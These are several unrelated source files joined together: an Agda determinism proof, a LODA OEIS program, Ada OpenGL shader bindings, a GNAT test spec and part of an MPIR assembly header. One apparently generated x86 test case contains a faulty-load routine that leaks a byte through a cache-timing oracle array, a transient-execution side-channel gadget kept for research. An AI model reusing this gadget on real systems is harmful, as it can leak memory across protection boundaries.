deterministicᵣₑᵥ : ∀ {st st₁ st₂} → st₁ ↦ st → st₂ ↦ st → st₁ ≡ st₂
deterministicᵣₑᵥ {[ c ∣ _ ∣ κ ]▷} {⟨ c ∣ v ∣ κ ⟩▷} {⟨ c' ∣ v' ∣ κ' ⟩▷} ↦⃗₁ r with Lemma₈ r
... | refl , refl with Lemma₉ r
deterministicᵣₑᵥ {[ unite₊l ∣ _ ∣ κ ]▷} {⟨ _ ∣ inj₂ y ∣ κ ⟩▷} {⟨ _ ∣ inj₂ y ∣ κ ⟩▷} ↦⃗₁ ↦⃗₁ | refl , refl | refl , refl = refl
deterministicᵣₑᵥ {[ uniti₊l ∣ _ ∣ κ ]▷} {⟨ _ ∣ v ∣ κ ⟩▷} {⟨ _ ∣ v ∣ κ ⟩▷} ↦⃗₁ ↦⃗₁ | refl , refl | refl , refl = refl
deterministicᵣₑᵥ {[ swap₊ ∣ _ ∣ κ ]▷} {⟨ _ ∣ inj₁ x ∣ κ ⟩▷} {⟨ _ ∣ inj₁ x ∣ κ ⟩▷} ↦⃗₁ ↦⃗₁ | refl , refl | refl , refl = refl
deterministicᵣₑᵥ {[ swap₊ ∣ _ ∣ κ ]▷} {⟨ _ ∣ inj₂ y ∣ κ ⟩▷} {⟨ _ ∣ inj₂ y ∣ κ ⟩▷} ↦⃗₁ ↦⃗₁ | refl , refl | refl , refl = refl
deterministicᵣₑᵥ {[ assocl₊ ∣ _ ∣ κ ]▷} {⟨ _ ∣ inj₁ x ∣ κ ⟩▷} {⟨ _ ∣ inj₁ x ∣ κ ⟩▷} ↦⃗₁ ↦⃗₁ | refl , refl | refl , refl = refl
deterministicᵣₑᵥ {[ assocl₊ ∣ _ ∣ κ ]▷} {⟨ _ ∣ inj₁ x ∣ κ ⟩▷} {⟨ _ ∣ inj₂ (inj₁ y) ∣ κ ⟩▷} ↦⃗₁ () | refl , refl | refl , refl
deterministicᵣₑᵥ {[ assocl₊ ∣ _ ∣ κ ]▷} {⟨ _ ∣ inj₁ x ∣ κ ⟩▷} {⟨ _ ∣ inj₂ (inj₂ z) ∣ κ ⟩▷} ↦⃗₁ () | refl , refl | refl , refl
deterministicᵣₑᵥ {[ assocl₊ ∣ _ ∣ κ ]▷} {⟨ _ ∣ inj₂ (inj₁ y) ∣ κ ⟩▷} {⟨ _ ∣ inj₂ (inj₁ y) ∣ κ ⟩▷} ↦⃗₁ ↦⃗₁ | refl , refl | refl , refl = refl
deterministicᵣₑᵥ {[ assocl₊ ∣ _ ∣ κ ]▷} {⟨ _ ∣ inj₂ (inj₂ z) ∣ κ ⟩▷} {⟨ _ ∣ inj₂ (inj₂ z) ∣ κ ⟩▷} ↦⃗₁ ↦⃗₁ | refl , refl | refl , refl = refl
deterministicᵣₑᵥ {[ assocr₊ ∣ _ ∣ κ ]▷} {⟨ _ ∣ inj₁ (inj₁ x) ∣ κ ⟩▷} {⟨ _ ∣ inj₁ (inj₁ x) ∣ κ ⟩▷} ↦⃗₁ ↦⃗₁ | refl , refl | refl , refl = refl
deterministicᵣₑᵥ {[ assocr₊ ∣ _ ∣ κ ]▷} {⟨ _ ∣ inj₁ (inj₂ y) ∣ κ ⟩▷} {⟨ _ ∣ inj₁ (inj₂ y) ∣ κ ⟩▷} ↦⃗₁ ↦⃗₁ | refl , refl | refl , refl = refl
deterministicᵣₑᵥ {[ assocr₊ ∣ _ ∣ κ ]▷} {⟨ _ ∣ inj₂ z ∣ κ ⟩▷} {⟨ _ ∣ inj₁ (inj₁ x) ∣ κ ⟩▷} ↦⃗₁ () | refl , refl | refl , refl
deterministicᵣₑᵥ {[ assocr₊ ∣ _ ∣ κ ]▷} {⟨ _ ∣ inj₂ z ∣ κ ⟩▷} {⟨ _ ∣ inj₁ (inj₂ y) ∣ κ ⟩▷} ↦⃗₁ () | refl , refl | refl , refl
deterministicᵣₑᵥ {[ assocr₊ ∣ _ ∣ κ ]▷} {⟨ _ ∣ inj₂ z ∣ κ ⟩▷} {⟨ _ ∣ inj₂ z ∣ κ ⟩▷} ↦⃗₁ ↦⃗₁ | refl , refl | refl , refl = refl
deterministicᵣₑᵥ {[ unite⋆l ∣ _ ∣ κ ]▷} {⟨ _ ∣ (tt , v) ∣ κ ⟩▷} {⟨ _ ∣ (tt , v) ∣ κ ⟩▷} ↦⃗₁ ↦⃗₁ | refl , refl | refl , refl = refl
deterministicᵣₑᵥ {[ uniti⋆l ∣ _ ∣ κ ]▷} {⟨ _ ∣ v ∣ κ ⟩▷} {⟨ _ ∣ v ∣ κ ⟩▷} ↦⃗₁ ↦⃗₁ | refl , refl | refl , refl = refl
deterministicᵣₑᵥ {[ swap⋆ ∣ _ ∣ κ ]▷} {⟨ _ ∣ (x , y) ∣ κ ⟩▷} {⟨ _ ∣ (x , y) ∣ κ ⟩▷} ↦⃗₁ ↦⃗₁ | refl , refl | refl , refl = refl
deterministicᵣₑᵥ {[ assocl⋆ ∣ _ ∣ κ ]▷} {⟨ _ ∣ (x , (y , z)) ∣ κ ⟩▷} {⟨ _ ∣ (x , (y , z)) ∣ κ ⟩▷} ↦⃗₁ ↦⃗₁ | refl , refl | refl , refl = refl
deterministicᵣₑᵥ {[ assocr⋆ ∣ _ ∣ κ ]▷} {⟨ _ ∣ ((x , y) , z) ∣ κ ⟩▷} {⟨ _ ∣ ((x , y) , z) ∣ κ ⟩▷} ↦⃗₁ ↦⃗₁ | refl , refl | refl , refl = refl
deterministicᵣₑᵥ {[ dist ∣ _ ∣ κ ]▷} {⟨ _ ∣ (inj₁ x , z) ∣ κ ⟩▷} {⟨ _ ∣ (inj₁ x , z) ∣ κ ⟩▷} ↦⃗₁ ↦⃗₁ | refl , refl | refl , refl = refl
deterministicᵣₑᵥ {[ dist ∣ _ ∣ κ ]▷} {⟨ _ ∣ (inj₂ y , z) ∣ κ ⟩▷} {⟨ _ ∣ (inj₂ y , z) ∣ κ ⟩▷} ↦⃗₁ ↦⃗₁ | refl , refl | refl , refl = refl
deterministicᵣₑᵥ {[ factor ∣ _ ∣ κ ]▷} {⟨ _ ∣ inj₁ (x , z) ∣ κ ⟩▷} {⟨ _ ∣ inj₁ (x , z) ∣ κ ⟩▷} ↦⃗₁ ↦⃗₁ | refl , refl | refl , refl = refl
deterministicᵣₑᵥ {[ factor ∣ _ ∣ κ ]▷} {⟨ _ ∣ inj₂ (y , z) ∣ κ ⟩▷} {⟨ _ ∣ inj₂ (y , z) ∣ κ ⟩▷} ↦⃗₁ ↦⃗₁ | refl , refl | refl , refl = refl
deterministicᵣₑᵥ {[ unite₊l ∣ _ ∣ κ ]▷} {⟨ _ ∣ v ∣ κ ⟩▷} {[ c' ∣ v' ∣ κ' ]▷} ↦⃗₁ ()
deterministicᵣₑᵥ {[ uniti₊l ∣ _ ∣ κ ]▷} {⟨ _ ∣ v ∣ κ ⟩▷} {[ c' ∣ v' ∣ κ' ]▷} ↦⃗₁ ()
deterministicᵣₑᵥ {[ swap₊ ∣ _ ∣ κ ]▷} {⟨ _ ∣ v ∣ κ ⟩▷} {[ c' ∣ v' ∣ κ' ]▷} ↦⃗₁ ()
deterministicᵣₑᵥ {[ assocl₊ ∣ _ ∣ κ ]▷} {⟨ _ ∣ v ∣ κ ⟩▷} {[ c' ∣ v' ∣ κ' ]▷} ↦⃗₁ ()
deterministicᵣₑᵥ {[ assocr₊ ∣ _ ∣ κ ]▷} {⟨ _ ∣ v ∣ κ ⟩▷} {[ c' ∣ v' ∣ κ' ]▷} ↦⃗₁ ()
deterministicᵣₑᵥ {[ unite⋆l ∣ _ ∣ κ ]▷} {⟨ _ ∣ v ∣ κ ⟩▷} {[ c' ∣ v' ∣ κ' ]▷} ↦⃗₁ ()
deterministicᵣₑᵥ {[ uniti⋆l ∣ _ ∣ κ ]▷} {⟨ _ ∣ v ∣ κ ⟩▷} {[ c' ∣ v' ∣ κ' ]▷} ↦⃗₁ ()
deterministicᵣₑᵥ {[ swap⋆ ∣ _ ∣ κ ]▷} {⟨ _ ∣ v ∣ κ ⟩▷} {[ c' ∣ v' ∣ κ' ]▷} ↦⃗₁ ()
deterministicᵣₑᵥ {[ assocl⋆ ∣ _ ∣ κ ]▷} {⟨ _ ∣ v ∣ κ ⟩▷} {[ c' ∣ v' ∣ κ' ]▷} ↦⃗₁ ()
deterministicᵣₑᵥ {[ assocr⋆ ∣ _ ∣ κ ]▷} {⟨ _ ∣ v ∣ κ ⟩▷} {[ c' ∣ v' ∣ κ' ]▷} ↦⃗₁ ()
deterministicᵣₑᵥ {[ dist ∣ _ ∣ κ ]▷} {⟨ _ ∣ v ∣ κ ⟩▷} {[ c' ∣ v' ∣ κ' ]▷} ↦⃗₁ ()
deterministicᵣₑᵥ {[ factor ∣ _ ∣ κ ]▷} {⟨ _ ∣ v ∣ κ ⟩▷} {[ c' ∣ v' ∣ κ' ]▷} ↦⃗₁ ()
deterministicᵣₑᵥ {[ id↔ ∣ _ ∣ κ ]▷} {⟨ _ ∣ v ∣ κ ⟩▷} {[ c' ∣ v' ∣ κ' ]▷} (↦⃗₁ {b = ()})
deterministicᵣₑᵥ {[ c₁ ⨾ c₂ ∣ _ ∣ κ ]▷} {⟨ _ ∣ v ∣ κ ⟩▷} {[ c' ∣ v' ∣ κ' ]▷} (↦⃗₁ {b = ()})
deterministicᵣₑᵥ {[ c₁ ⊕ c₂ ∣ _ ∣ κ ]▷} {⟨ _ ∣ v ∣ κ ⟩▷} {[ c' ∣ v' ∣ κ' ]▷} (↦⃗₁ {b = ()})
deterministicᵣₑᵥ {[ c₁ ⊗ c₂ ∣ _ ∣ κ ]▷} {⟨ _ ∣ v ∣ κ ⟩▷} {[ c' ∣ v' ∣ κ' ]▷} (↦⃗₁ {b = ()})
deterministicᵣₑᵥ {[ c ∣ _ ∣ κ ]▷} {⟨ c ∣ v ∣ κ ⟩▷} {[ _ ∣ _ ∣ _ ]◁} ↦⃗₁ r with Lemma₅ r
... | refl , refl with Lemma₆ r
... | refl , refl with Lemma₇ r
... | refl with v
... | ()
deterministicᵣₑᵥ ↦⃗₂ ↦⃗₂ = refl
deterministicᵣₑᵥ ↦⃗₃ ↦⃗₃ = refl
deterministicᵣₑᵥ ↦⃗₄ ↦⃗₄ = refl
deterministicᵣₑᵥ ↦⃗₅ ↦⃗₅ = refl
deterministicᵣₑᵥ ↦⃗₆ ↦⃗₆ = refl
deterministicᵣₑᵥ ↦⃗₇ ↦⃗₇ = refl
deterministicᵣₑᵥ ↦⃗₈ ↦⃗₈ = refl
deterministicᵣₑᵥ ↦⃗₉ ↦⃗₉ = refl
deterministicᵣₑᵥ ↦⃗₁₀ ↦⃗₁₀ = refl
deterministicᵣₑᵥ {[ c₁ ⊕ c₂ ∣ inj₁ v ∣ κ ]▷} {_} {⟨ _ ∣ _ ∣ _ ⟩▷} ↦⃗₁₁ r with Lemma₈ r
... | refl , refl with Lemma₉ r
... | refl , refl with Lemma₁₀ r
... | inj₂ refl with Lemma₁₁ r
... | inj₁ ()
... | inj₂ ()
deterministicᵣₑᵥ {[ c₁ ⊕ c₂ ∣ inj₁ v ∣ κ ]▷} {_} {[ _ ∣ _ ∣ _ ]▷} ↦⃗₁₁ ↦⃗₁₁ = refl
deterministicᵣₑᵥ {[ c₁ ⊕ c₂ ∣ inj₂ v ∣ κ ]▷} {_} {⟨ _ ∣ _ ∣ _ ⟩▷} ↦⃗₁₂ r with Lemma₈ r
... | refl , refl with Lemma₉ r
... | refl , refl with Lemma₁₀ r
... | inj₂ refl with Lemma₁₁ r
... | inj₁ ()
... | inj₂ ()
deterministicᵣₑᵥ {[ c₁ ⊕ c₂ ∣ inj₂ v ∣ κ ]▷} {_} {[ _ ∣ _ ∣ _ ]▷} ↦⃗₁₂ ↦⃗₁₂ = refl
deterministicᵣₑᵥ (↦⃖₁ {b = b₁}) (↦⃖₁ {b = b₂}) with base-is-prop _ b₁ b₂
... | refl = refl
deterministicᵣₑᵥ ↦⃖₂ ↦⃖₂ = refl
deterministicᵣₑᵥ ↦⃖₃ ↦⃖₃ = refl
deterministicᵣₑᵥ ↦⃖₄ ↦⃖₄ = refl
deterministicᵣₑᵥ ↦⃖₅ ↦⃖₅ = refl
deterministicᵣₑᵥ ↦⃖₆ ↦⃖₆ = refl
deterministicᵣₑᵥ ↦⃖₇ ↦⃖₇ = refl
deterministicᵣₑᵥ ↦⃖₈ ↦⃖₈ = refl
deterministicᵣₑᵥ ↦⃖₉ ↦⃖₉ = refl
deterministicᵣₑᵥ ↦⃖₁₀ ↦⃖₁₀ = refl
deterministicᵣₑᵥ ↦⃖₁₁ ↦⃖₁₁ = refl
deterministicᵣₑᵥ ↦⃖₁₂ ↦⃖₁₂ = refl
deterministicᵣₑᵥ {_} {[ η₊ ∣ inj₁ _ ∣ _ ]◁} {⟨ _ ∣ v ∣ _ ⟩▷} ↦η₁ r with Lemma₈ r
... | refl , refl with Lemma₉ r
... | refl , refl with Lemma₁₀ r
... | inj₁ ()
... | inj₂ ()
deterministicᵣₑᵥ {_} {[ η₊ ∣ inj₁ v ∣ _ ]◁} {[ _ ∣ _ ∣ _ ]◁} ↦η₁ ↦η₁ = refl
deterministicᵣₑᵥ {_} {[ η₊ ∣ inj₂ (- v) ∣ _ ]◁} {⟨ c ∣ x ∣ x₁ ⟩▷} ↦η₂ r with Lemma₈ r
... | refl , refl with Lemma₉ r
... | refl , refl with Lemma₁₀ r
... | inj₁ ()
... | inj₂ ()
deterministicᵣₑᵥ {_} {[ η₊ ∣ inj₂ (- v) ∣ _ ]◁} {[ _ ∣ _ ∣ _ ]◁} ↦η₂ ↦η₂ = refl
deterministicᵣₑᵥ ↦ε₁ ↦ε₁ = refl
deterministicᵣₑᵥ ↦ε₂ ↦ε₂ = refl
-- Non-repeating Lemma
open RevNoRepeat (record { State = State
; _↦_ = _↦_
; deterministic = deterministic
; deterministicᵣₑᵥ = deterministicᵣₑᵥ }) public
NoRepeatPi- : ∀ {A B stₙ stₘ n m} (c : A ↔ B) (v : ⟦ A ⟧)
→ n < m
→ ⟨ c ∣ v ∣ ☐ ⟩▷ ↦[ n ] stₙ
→ ⟨ c ∣ v ∣ ☐ ⟩▷ ↦[ m ] stₘ
→ stₙ ≢ stₘ
NoRepeatPi- c v n<m st₀↦stₙ st₀↦stₘ = NoRepeat (λ ()) n<m st₀↦stₙ st₀↦stₘ
|
Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0x48_notsx.log_21829_932.asm | ljhsiun2/medusa | 9 | 86320 | <reponame>ljhsiun2/medusa
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r15
push %rax
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0xd1df, %rsi
lea addresses_WC_ht+0x1bd9f, %rdi
inc %rbx
mov $59, %rcx
rep movsl
nop
nop
nop
nop
nop
dec %rcx
lea addresses_normal_ht+0x13d5f, %rsi
lea addresses_WT_ht+0x1148a, %rdi
nop
nop
nop
nop
xor %rax, %rax
mov $39, %rcx
rep movsq
nop
and %rsi, %rsi
lea addresses_normal_ht+0x14f4f, %rsi
lea addresses_normal_ht+0x1c6df, %rdi
nop
nop
nop
xor %rax, %rax
mov $3, %rcx
rep movsb
nop
nop
nop
sub %rdi, %rdi
lea addresses_D_ht+0x10d9f, %rsi
lea addresses_WC_ht+0x1eddf, %rdi
nop
nop
nop
nop
add $18215, %r12
mov $97, %rcx
rep movsw
nop
cmp $51389, %rax
lea addresses_WT_ht+0x4d7, %r12
nop
nop
nop
cmp $51525, %r15
movb $0x61, (%r12)
cmp %rdi, %rdi
lea addresses_WT_ht+0x5977, %rbx
nop
nop
nop
nop
and $36328, %rcx
mov (%rbx), %r15w
nop
sub $44647, %rax
lea addresses_WT_ht+0x17b95, %rsi
lea addresses_WT_ht+0x17927, %rdi
nop
nop
nop
nop
xor %rax, %rax
mov $22, %rcx
rep movsq
nop
nop
sub %rax, %rax
lea addresses_WT_ht+0x1b1df, %rax
nop
nop
nop
cmp $32351, %rsi
movb $0x61, (%rax)
nop
nop
nop
xor %r15, %r15
lea addresses_A_ht+0xc59f, %rsi
nop
sub %rax, %rax
mov (%rsi), %rbx
nop
nop
nop
inc %rsi
lea addresses_D_ht+0x57df, %rsi
lea addresses_WC_ht+0x15bff, %rdi
nop
nop
nop
nop
nop
inc %rbx
mov $116, %rcx
rep movsq
nop
nop
nop
nop
nop
xor $4404, %rax
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r15
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r12
push %r15
push %rbp
push %rcx
push %rsi
// Store
lea addresses_D+0xf0df, %r10
nop
nop
xor %r12, %r12
movw $0x5152, (%r10)
nop
nop
nop
sub %r12, %r12
// Store
lea addresses_UC+0xa77d, %rcx
nop
nop
nop
nop
nop
dec %rbp
mov $0x5152535455565758, %rsi
movq %rsi, %xmm2
movups %xmm2, (%rcx)
nop
nop
nop
and %rsi, %rsi
// Store
mov $0x9df, %r15
nop
nop
nop
nop
nop
and %r10, %r10
movw $0x5152, (%r15)
nop
nop
nop
nop
nop
and $27020, %rbp
// Store
lea addresses_normal+0xd0ef, %rbp
nop
nop
nop
nop
sub $51863, %r12
mov $0x5152535455565758, %rcx
movq %rcx, (%rbp)
nop
nop
nop
nop
nop
add %rsi, %rsi
// Store
lea addresses_PSE+0xa5f, %r15
nop
nop
nop
nop
nop
add $12140, %r10
movw $0x5152, (%r15)
nop
cmp $28254, %r10
// Load
lea addresses_normal+0xb1df, %r10
nop
nop
nop
dec %r15
mov (%r10), %rbp
nop
nop
nop
nop
and %r11, %r11
// Load
lea addresses_US+0xc427, %r12
sub %rbp, %rbp
mov (%r12), %cx
nop
nop
nop
nop
nop
sub $50046, %r15
// Store
lea addresses_normal+0x1df, %r10
nop
nop
inc %rsi
mov $0x5152535455565758, %rbp
movq %rbp, %xmm5
vmovups %ymm5, (%r10)
nop
nop
nop
nop
nop
inc %r12
// Faulty Load
lea addresses_normal+0x1df, %r15
nop
nop
nop
cmp %r10, %r10
mov (%r15), %r12
lea oracles, %rsi
and $0xff, %r12
shlq $12, %r12
mov (%rsi,%r12,1), %r12
pop %rsi
pop %rcx
pop %rbp
pop %r15
pop %r12
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_normal', 'congruent': 0}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_D', 'congruent': 8}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_UC', 'congruent': 0}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_P', 'congruent': 11}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_normal', 'congruent': 4}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_PSE', 'congruent': 5}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_normal', 'congruent': 11}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_US', 'congruent': 3}}
{'dst': {'same': True, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_normal', 'congruent': 0}, 'OP': 'STOR'}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_normal', 'congruent': 0}}
<gen_prepare_buffer>
{'dst': {'same': False, 'congruent': 5, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_A_ht'}}
{'dst': {'same': False, 'congruent': 0, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 7, 'type': 'addresses_normal_ht'}}
{'dst': {'same': False, 'congruent': 7, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 3, 'type': 'addresses_normal_ht'}}
{'dst': {'same': False, 'congruent': 10, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 5, 'type': 'addresses_D_ht'}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_WT_ht', 'congruent': 3}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_WT_ht', 'congruent': 2}}
{'dst': {'same': True, 'congruent': 1, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 0, 'type': 'addresses_WT_ht'}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_WT_ht', 'congruent': 8}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_A_ht', 'congruent': 5}}
{'dst': {'same': False, 'congruent': 3, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 9, 'type': 'addresses_D_ht'}}
{'58': 21829}
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
*/
|
programs/oeis/105/A105853.asm | neoneye/loda | 22 | 27256 | <reponame>neoneye/loda
; A105853: a(n) = sigma(n) (mod 10), i.e., unit's digit of sigma(n).
; 1,3,4,7,6,2,8,5,3,8,2,8,4,4,4,1,8,9,0,2,2,6,4,0,1,2,0,6,0,2,2,3,8,4,8,1,8,0,6,0,2,6,4,4,8,2,8,4,7,3,2,8,4,0,2,0,0,0,0,8,2,6,4,7,4,4,8,6,6,4,2,5,4,4,4,0,6,8,0,6,1,6,4,4,8,2,0,0,0,4,2,8,8,4,0,2,8,1,6,7
seq $0,203 ; a(n) = sigma(n), the sum of the divisors of n. Also called sigma_1(n).
mod $0,10
|
orka/src/gl/implementation/gl-objects-shaders.adb | onox/orka | 52 | 24967 | <gh_stars>10-100
-- SPDX-License-Identifier: Apache-2.0
--
-- Copyright (c) 2012 <NAME> <<EMAIL>>
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
with Interfaces.C.Strings;
with GL.API;
with GL.Enums;
package body GL.Objects.Shaders is
procedure Set_Source (Subject : Shader; Source : String) is
C_Shader_Source : C.Strings.chars_ptr := C.Strings.New_String (Source);
C_Source : constant Low_Level.CharPtr_Array
:= (1 => C_Shader_Source);
Lengths : constant Low_Level.Int_Array
:= (1 => Source'Length);
begin
API.Shader_Source.Ref (Subject.Reference.GL_Id, 1, C_Source, Lengths);
C.Strings.Free (C_Shader_Source);
end Set_Source;
function Source (Subject : Shader) return String is
Source_Length : Size := 0;
begin
API.Get_Shader_Param.Ref
(Subject.Reference.GL_Id, Enums.Shader_Source_Length, Source_Length);
if Source_Length = 0 then
return "";
end if;
declare
Shader_Source : String (1 .. Integer (Source_Length));
begin
API.Get_Shader_Source.Ref
(Subject.Reference.GL_Id, Source_Length, Source_Length, Shader_Source);
return Shader_Source (1 .. Integer (Source_Length));
end;
end Source;
procedure Compile (Subject : Shader) is
begin
API.Compile_Shader.Ref (Subject.Reference.GL_Id);
end Compile;
function Compile_Status (Subject : Shader) return Boolean is
Value : Int := 0;
begin
API.Get_Shader_Param.Ref
(Subject.Reference.GL_Id, Enums.Compile_Status, Value);
return Value /= 0;
end Compile_Status;
function Info_Log (Subject : Shader) return String is
Log_Length : Size := 0;
begin
API.Get_Shader_Param.Ref
(Subject.Reference.GL_Id, Enums.Info_Log_Length, Log_Length);
if Log_Length = 0 then
return "";
end if;
declare
Info_Log : String (1 .. Integer (Log_Length));
begin
API.Get_Shader_Info_Log.Ref
(Subject.Reference.GL_Id, Log_Length, Log_Length, Info_Log);
return Info_Log (1 .. Integer (Log_Length));
end;
end Info_Log;
overriding
procedure Initialize_Id (Object : in out Shader) is
begin
Object.Reference.GL_Id := API.Create_Shader.Ref (Object.Kind);
end Initialize_Id;
overriding
procedure Delete_Id (Object : in out Shader) is
begin
API.Delete_Shader.Ref (Object.Reference.GL_Id);
Object.Reference.GL_Id := 0;
end Delete_Id;
end GL.Objects.Shaders;
|
gcc-gcc-7_3_0-release/gcc/testsuite/gnat.dg/specs/aggr4_pkg.ads | best08618/asylo | 7 | 1297 | -- { dg-excess-errors "cannot generate code" }
package Aggr4_Pkg is
function F return Integer;
type Rec1 is tagged record
I : Integer;
end record;
Zero : constant Rec1 := (I => F);
type Enum is (One, Two);
type Rec2 (D : Enum := One) is record
case D is
when One => Value : Rec1;
when others => null;
end case;
end record;
type Rec3 is record
Data : Rec2;
end record;
end Aggr4_Pkg;
|
externals/mpir-3.0.0/mpn/x86_64w/k8/mul_basecase.asm | JaminChan/eos_win | 12 | 12439 | <gh_stars>10-100
; PROLOGUE(mpn_mul_basecase)
; Copyright 2009 <NAME>
;
; Windows Conversion Copyright 2008 <NAME>
;
; This file is part of the MPIR Library.
;
; The MPIR Library is free software; you can redistribute it and/or modify
; it under the terms of the GNU Lesser General Public License as published
; by the Free Software Foundation; either version 2.1 of the License, or (at
; your option) any later version.
; The MPIR Library is distributed in the hope that it will be useful, but
; WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
; or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public
